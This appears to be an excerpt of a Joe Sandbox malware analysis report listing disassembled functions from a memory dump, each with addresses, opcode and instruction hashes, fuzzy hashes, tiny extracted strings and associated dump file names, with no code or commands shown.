Opcode ID: eff8c112ea24cc3b540b9c8e089d1ae11e72d8d8c2768abf6fb359b12b9c3aea
Instruction ID: de475ad00c332c2322c90e5f5c707fd262fdd3b91069aa5de38032da9e319d74
Opcode Fuzzy Hash: eff8c112ea24cc3b540b9c8e089d1ae11e72d8d8c2768abf6fb359b12b9c3aea
Instruction Fuzzy Hash: EF51AB715046264BDB0CEE3CD8604FB73E2EBD5364B51C62D819ACB998DB34952BCB40

Uniqueness

Uniqueness Score: -1.00%

Function 01049FB0 Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

a, xrefs: 010C11D4

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: e1e3555c91c87f90a83666f6e8eb86a88a6a9ed448e6ec26f5b2307100759f5b
Instruction ID: 207f6717ba3d90078b4b13e2914f278e3a6c24f2007c13e01e37d6346280f766
Opcode Fuzzy Hash: e1e3555c91c87f90a83666f6e8eb86a88a6a9ed448e6ec26f5b2307100759f5b
Instruction Fuzzy Hash: 0C5131B15587578BC31CEBA8E4409BAB3D4FBD6324F20877E94EA92591D73504128F42

Uniqueness

Uniqueness Score: -1.00%

Function 011CA0B5 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

N, xrefs: 012663D3

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: a2da449735aaff27e0266b5e7fe8485c78f906e8d888f008768ab6b068ee6ec6
Instruction ID: 004afc92f5cb826cc6e9d393ae76351a84dc50530cfcf4069f5e60c7d992a273
Opcode Fuzzy Hash: a2da449735aaff27e0266b5e7fe8485c78f906e8d888f008768ab6b068ee6ec6
Instruction Fuzzy Hash: 935179316086024FD718EF2DD84069AB7E1FBD5310F64CB3DE4958B6C9D7755416CB81

Uniqueness

Uniqueness Score: -1.00%

Function 010B6BDF Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

8, xrefs: 010B6D1B

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 1bc3d3a562c8ea58f5651b9e5f422a5c2784018d4a0c1a5118f7c370af37fcd7
Instruction ID: c02434d66ce1b3b188c1beaf9beb508d81ac635dcd9d83a1a9c5debce57e8dbb
Opcode Fuzzy Hash: 1bc3d3a562c8ea58f5651b9e5f422a5c2784018d4a0c1a5118f7c370af37fcd7
Instruction Fuzzy Hash: 29419B366283124BC328DA39D80157AB7E2FFC6310F55CA2DD4DA8B281D7389406CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0100ADCE Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

-, xrefs: 01242A5D

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 2be4c24f0a39d2e9bfde8d6115ccb392aefec700ae40ea9d6017eed9c960a9e6
Instruction ID: abaeb08c20d2733b247e8082dd6d1dc725ba8ad1bc6693b42026aa469425acae
Opcode Fuzzy Hash: 2be4c24f0a39d2e9bfde8d6115ccb392aefec700ae40ea9d6017eed9c960a9e6
Instruction Fuzzy Hash: D841F131518A0E8BC72CDE2CE8805E673E1EBE1315F15472EC486D75D6D7312826CF85

Uniqueness

Uniqueness Score: -1.00%

Function 01250C08 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

), xrefs: 00FE6AED

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: c413a13c65d0f707d58d8343e07c36c07b9f775792a769f239a163a5d0a5cec2
Instruction ID: 5ebad9e9e4a1413b1b02ff3db3b0ef6c28254742c94647f13f77334831df87fc
Opcode Fuzzy Hash: c413a13c65d0f707d58d8343e07c36c07b9f775792a769f239a163a5d0a5cec2
Instruction Fuzzy Hash: 1051453111979286D3189B38D8440AEF7E2EFE6325F98CB2DE4E6876E5D735400ACB42

Uniqueness

Uniqueness Score: -1.00%

Function 0109D283 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

i, xrefs: 01213F4B

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: i
API String ID: 0-3865851505
Opcode ID: f0ac3da9fd1d4db43273cf7ddb00412ade377b11c6b82210efd9ce6df9c97927
Instruction ID: 7367f941afbe949022f0f27efc27b827d1ec466576bd5e2e7ef054c79375dfda
Opcode Fuzzy Hash: f0ac3da9fd1d4db43273cf7ddb00412ade377b11c6b82210efd9ce6df9c97927
Instruction Fuzzy Hash: 2B418D72528B1A4BD31CEE68ECD91FA3391FB81325F20833DD6ABC21C2E7654506C585

Uniqueness

Uniqueness Score: -1.00%

Function 0105A16F Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

d, xrefs: 0105A1AD

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 4cab957889f2bba7442f1c221cd08e4a2a10385156df82c8c12da468b8434fda
Instruction ID: c6381621a830b8f2353ecba3d8f5b5cda1c6cb200dcecbe5b127b09b971a9c51
Opcode Fuzzy Hash: 4cab957889f2bba7442f1c221cd08e4a2a10385156df82c8c12da468b8434fda
Instruction Fuzzy Hash: F64167356082128BCB2CEB29E0505FBB3E5FBE5351F50867ED182CB984DB36501ADB85

Uniqueness

Uniqueness Score: -1.00%

Function 01133FB3 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

#, xrefs: 010928AA

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: fee4ddb7afb24d216f7b6361df5109a51b4eca979bac7155a9f7791ca4fb07eb
Instruction ID: d49c2abaf45733cd4fef0ca18b77b7d4881baefbdb5341de9ab97d1e8c0fdd41
Opcode Fuzzy Hash: fee4ddb7afb24d216f7b6361df5109a51b4eca979bac7155a9f7791ca4fb07eb
Instruction Fuzzy Hash: 08516335218B168BC329EF28E5401ABB3E2EFC4315F65CA3ED5C687185EB346517C785

Uniqueness

Uniqueness Score: -1.00%

Function 012B9FB7 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

&, xrefs: 010B1D2E

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 931dc6e9783cd8cd4468c9c84f6140855686d6dd2497d267d96e53d69daa1ffd
Instruction ID: 8886eb61bc42f9d2e81baebf8fa42993f7d427db7eab4d13fab43d38ad72c3ab
Opcode Fuzzy Hash: 931dc6e9783cd8cd4468c9c84f6140855686d6dd2497d267d96e53d69daa1ffd
Instruction Fuzzy Hash: 0741A6321087668BD71CEA78E8818FE73E2E7C5320B60877DD4A2CB4D9CB75551A8A42

Uniqueness

Uniqueness Score: -1.00%

Function 010E0786 Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

I, xrefs: 010E079B

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 6af640c39f391237b55f32f06be63576900f81bfa853faf12bcbee41b435f43d
Instruction ID: 0024955c733ab551675ffd2a5a572c01474362cb6ad0f2b16067845822874775
Opcode Fuzzy Hash: 6af640c39f391237b55f32f06be63576900f81bfa853faf12bcbee41b435f43d
Instruction Fuzzy Hash: E941887252C74A8BE319FB28E8454A7B7E1EBD5310F109BAED4CBC7985D3349016D782

Uniqueness

Uniqueness Score: -1.00%

Function 01228B27 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

3, xrefs: 01228B46

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 3
API String ID: 0-1842515611
Opcode ID: 7b198a1b84cf504f72bc9e92fe95c2ff69aac1e7283b04607c376cabf6168bc2
Instruction ID: a04f0040d9364bbff62158d972f4f3a515fd495181e36ea2588094c8cc526a6c
Opcode Fuzzy Hash: 7b198a1b84cf504f72bc9e92fe95c2ff69aac1e7283b04607c376cabf6168bc2
Instruction Fuzzy Hash: 6741CB72518B024BC70CDA7CE8442F637D3EBE6321F64872DD597876D9D731241AC681

Uniqueness

Uniqueness Score: -1.00%

Function 01073E6C Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

7, xrefs: 0102AC5A

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: c13649ff99af6ebd191b12eb5ae30f0a3f6092af61acf7a9608f8106e26de770
Instruction ID: 6ab907b858debb016feddfaa91169dceefb69930c2e40d0a41146359e0050cde
Opcode Fuzzy Hash: c13649ff99af6ebd191b12eb5ae30f0a3f6092af61acf7a9608f8106e26de770
Instruction Fuzzy Hash: 6741D8305287128BD718EF38A9900EBB7E2FFD5324F58EA2DD096C7690DB359106D781

Uniqueness

Uniqueness Score: -1.00%

Function 01184921 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

~|$, xrefs: 010722C8

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: ~|$
API String ID: 0-3401160199
Opcode ID: f84dd44ac5f423ce8eb1ba7477f7f9245c9fd7ee8827552264f3000850e12a59
Instruction ID: cff1800579c27d44257468253cafb61b8c7805fec0a7b188e549d83923decb19
Opcode Fuzzy Hash: f84dd44ac5f423ce8eb1ba7477f7f9245c9fd7ee8827552264f3000850e12a59
Instruction Fuzzy Hash: C8417A76504A124BD729EB3898840FBB3E6EFD6330B589B3DD1E1CB6D5DB255006CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00FFE71B Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

O, xrefs: 0125DFF8

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: O
API String ID: 0-878818188
Opcode ID: c4e96e94f073c7c2bb9b4325d79f6babcb8f390f162fccb1c32d203488aa873e
Instruction ID: 2f1414dc9a9370000b598b6cefe8ef29ac32e24329e6944d6a2ffc28d7511e00
Opcode Fuzzy Hash: c4e96e94f073c7c2bb9b4325d79f6babcb8f390f162fccb1c32d203488aa873e
Instruction Fuzzy Hash: 55414630418B228FC328EE3EE4804ABB3E5FBC5764F558B6DD4E28B4D5DB355506CA82

Uniqueness

Uniqueness Score: -1.00%

Function 010A880A Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

a, xrefs: 010A88EC

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: ebd84540e4ecc1341c0da07c510ae9d825b9440984141788a0d8565e6bb26a1b
Instruction ID: e665f31ea9ff6a68f385194bc93e6cbc3fecf170251508f82d10ee5aaf85b8fb
Opcode Fuzzy Hash: ebd84540e4ecc1341c0da07c510ae9d825b9440984141788a0d8565e6bb26a1b
Instruction Fuzzy Hash: FA4167752087128BD30CEF29D8905BBB3E2EBC5321F54C63D9499875D4EB756119CA81

Uniqueness

Uniqueness Score: -1.00%

Function 012898EB Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

P, xrefs: 01289A29

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 946e0e47acf21f5626bd4c69ff4435edde760b708ebbaf56beeacf037f73b4a6
Instruction ID: 364d1b4e8c50d1d49f89d84e942d2d93e7cb63dab9ed1e4a127d220e273afc26
Opcode Fuzzy Hash: 946e0e47acf21f5626bd4c69ff4435edde760b708ebbaf56beeacf037f73b4a6
Instruction Fuzzy Hash: 8141AB762147178BD728EF29D8912FAB3E1FFE8310BE1962D8185C7095EB3A61178B40

Uniqueness

Uniqueness Score: -1.00%

Function 00FCC431 Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

38, xrefs: 00FCC506

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 38
API String ID: 0-2645610321
Opcode ID: 4af522f44a77479409724f31bfa10645900f04c74c888b333cfa9ce953e10614
Instruction ID: c799a73259175289796ee56f1751d35593ba1c6fdf79079ee1de386aefafe2bd
Opcode Fuzzy Hash: 4af522f44a77479409724f31bfa10645900f04c74c888b333cfa9ce953e10614
Instruction Fuzzy Hash: A341DC356083A64BC729EF38B4900FBB7E29FC6325F054B2CC4D6831C5DB60652AC781

Uniqueness

Uniqueness Score: -1.00%

Function 0108AF3F Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

", xrefs: 011FAA11

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 321bd14ce9615166b0e2ec013d0ab1b305d3c8ef193fd68bd89070c3db54d2a9
Instruction ID: 01cac0e49fde45274dbe59c4ceb3248791f300eec257253697f629ac851fba88
Opcode Fuzzy Hash: 321bd14ce9615166b0e2ec013d0ab1b305d3c8ef193fd68bd89070c3db54d2a9
Instruction Fuzzy Hash: 43417A32118A228BC31CDBADD8814AAB3E2FBD9320F41975CD4D3872D9C7356817DA89

Uniqueness

Uniqueness Score: -1.00%

Function 010E740E Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

!, xrefs: 010E7481

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 8d4a1469a15222db52e48fdef44ccb13b7b0c11ef1dc69d8feeca58029c6f986
Instruction ID: a969ecc9070f460376f14e098569b9c6124fc6505091ff636cdcf54a26a9c7d7
Opcode Fuzzy Hash: 8d4a1469a15222db52e48fdef44ccb13b7b0c11ef1dc69d8feeca58029c6f986
Instruction Fuzzy Hash: C8419532408B529BD709DB79E8916EBF7E1FBC9320F64CAADC18AC3594D3394016CB01

Uniqueness

Uniqueness Score: -1.00%

Function 0109FBC9 Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

D, xrefs: 0109FCCE

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
